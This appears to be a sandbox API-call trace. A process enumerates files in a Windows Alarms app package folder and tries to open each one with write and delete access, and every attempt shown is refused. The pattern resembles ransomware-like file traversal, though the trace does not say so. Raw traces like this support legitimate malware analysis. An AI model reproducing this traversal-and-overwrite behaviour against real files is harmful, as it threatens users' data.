	[0082.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4766110
	[0082.077] wcscpy (in: _Dest=0x4766110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.077] wcscat (in: _Dest=0x4766110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.077] wcscat (in: _Dest=0x4766110, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.895] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.896] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.896] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.896] GetLastError () returned 0x5
	[0090.896] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766110) returned 1
	[0090.896] FindNextFileW (in: hFindFile=0x46a7450, lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485b9d47, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485b9d47, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.896] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.896] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776760
	[0090.896] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.896] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.896] wcscat (in: _Dest=0x4776760, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.896] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.900] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.900] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.900] GetLastError () returned 0x5
	[0090.900] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0090.900] FindNextFileW (in: hFindFile=0x46a7450, lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485b9d47, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485b9d47, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.900] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.900] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778060
	[0090.900] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.901] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.901] wcscat (in: _Dest=0x4778060, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.901] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.902] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.902] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.902] GetLastError () returned 0x5
	[0090.902] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.902] FindNextFileW (in: hFindFile=0x46a7450, lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1437fbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4878db60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.902] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.902] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e328b0
	[0090.902] wcscpy (in: _Dest=0x4e328b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.902] wcscat (in: _Dest=0x4e328b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.903] wcscat (in: _Dest=0x4e328b0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491ed98
	[0090.903] wcscpy (in: _Dest=0x491ed98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.903] wcscat (in: _Dest=0x491ed98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.903] wcscat (in: _Dest=0x491ed98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0090.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1437fbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4878db60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477af68
	[0090.905] wcscmp (_String1=".", _String2=".") returned 0
	[0090.905] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1437fbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4878db60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.908] wcscmp (_String1="..", _String2=".") returned 1
	[0090.908] wcscmp (_String1="..", _String2="..") returned 0
	[0090.908] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485b9d47, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485b9d47, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.908] wcscmp (_String1="AlarmsAppList.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.908] wcscmp (_String1="AlarmsAppList.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481ed00
	[0090.908] wcscpy (in: _Dest=0x481ed00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.908] wcscat (in: _Dest=0x481ed00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.908] wcscat (in: _Dest=0x481ed00, _Source="AlarmsAppList.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png"
	[0090.908] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_scale-100.png")) returned 0x20
	[0090.910] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.910] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.910] GetLastError () returned 0x5
	[0090.910] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0090.911] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485dffa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485dffa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485dffa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x135, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.911] wcscmp (_String1="AlarmsAppList.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.911] wcscmp (_String1="AlarmsAppList.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e030
	[0090.911] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.911] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.911] wcscat (in: _Dest=0x481e030, _Source="AlarmsAppList.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png"
	[0090.911] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-white_scale-100.png")) returned 0x20
	[0090.913] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.913] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.913] GetLastError () returned 0x5
	[0090.913] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0090.913] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485dffa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485dffa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485dffa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0090.913] wcscmp (_String1="AlarmsAppList.scale-100.png", _String2=".") returned 1
	[0090.913] wcscmp (_String1="AlarmsAppList.scale-100.png", _String2="..") returned 1
	[0090.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.913] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.913] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.913] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png"
	[0090.913] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.scale-100.png")) returned 0x20
	[0090.914] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.914] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.914] GetLastError () returned 0x5
	[0090.914] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.914] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485dffa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485dffa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485dffa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsBadge.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.914] wcscmp (_String1="AlarmsBadge.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.914] wcscmp (_String1="AlarmsBadge.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481ea70
	[0090.914] wcscpy (in: _Dest=0x481ea70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.914] wcscat (in: _Dest=0x481ea70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.914] wcscat (in: _Dest=0x481ea70, _Source="AlarmsBadge.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png"
